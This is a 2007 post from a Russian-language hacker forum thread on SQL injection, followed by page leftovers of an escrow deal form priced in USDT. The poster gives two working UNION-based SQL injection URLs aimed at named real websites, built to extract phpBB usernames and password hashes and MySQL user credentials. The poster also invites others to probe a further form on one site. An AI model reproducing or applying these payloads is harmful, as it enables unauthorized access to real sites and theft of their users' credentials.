SQL Инъекции

#11

03.04.2007, 23:24

n1†R0x

Постоянный

Регистрация: 20.01.2007

Сообщений: 787

С нами: 10160966

Репутация: 1719

progmusic.ru

Код:

http://progmusic.ru/rus/modules.php?name=Sections&op=viewarticle&artid=-1+union+select+1,2,username,user_password,5,6,7,8+from+phpbb_users+limit+4,1/*

concat() не рулит, антихек =\

еще есть форма на сайте, база вроде другая.. кому интересно - копните

и еще
voyage-luxe.ru

Код:

http://www.voyage-luxe.ru/chapter60.html?uid=-1+union+select+1,convert(concat(user,0x3a,password)+using+cp1251),3,null,5+from+mysql.user/*

мб и было, пофиг..

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка